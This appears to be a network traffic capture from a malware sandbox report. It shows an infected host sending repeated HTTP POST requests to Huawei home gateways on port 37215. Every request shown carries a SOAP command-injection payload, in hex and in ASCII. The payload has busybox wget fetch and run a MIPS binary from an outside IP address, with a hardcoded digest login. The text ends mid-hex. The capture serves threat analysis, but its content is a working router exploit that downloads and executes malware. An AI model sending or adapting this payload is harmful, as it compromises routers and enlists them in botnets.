Nov 19, 2023 09:16:54.467232943 CET	1960	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:10.337174892 CET	2379	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:42.844558954 CET	3275	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	51870	156.241.94.165	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:38.885761023 CET	1561	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:40.869216919 CET	1593	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:43.208822966 CET	1670	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:48.068178892 CET	1787	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:57.538899899 CET	2044	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:16.228190899 CET	2572	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	156.241.94.165	37215	192.168.2.23	51870

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:38.885761023 CET	1561	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 